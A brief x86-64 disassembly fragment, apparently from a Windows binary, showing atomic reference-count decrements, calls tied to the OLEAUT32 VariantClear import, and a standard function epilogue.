lock xadd dword [rdx + 0x10], eax
add eax, ebx
test eax, eax
jg 0x1401d4476
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rdx, qword [rdi]
mov ecx, ebx
sub rdx, 0x18
lock xadd dword [rdx + 0x10], ecx
add ecx, ebx
test ecx, ecx
jg 0x1401d4494
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
mov eax, ebp
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret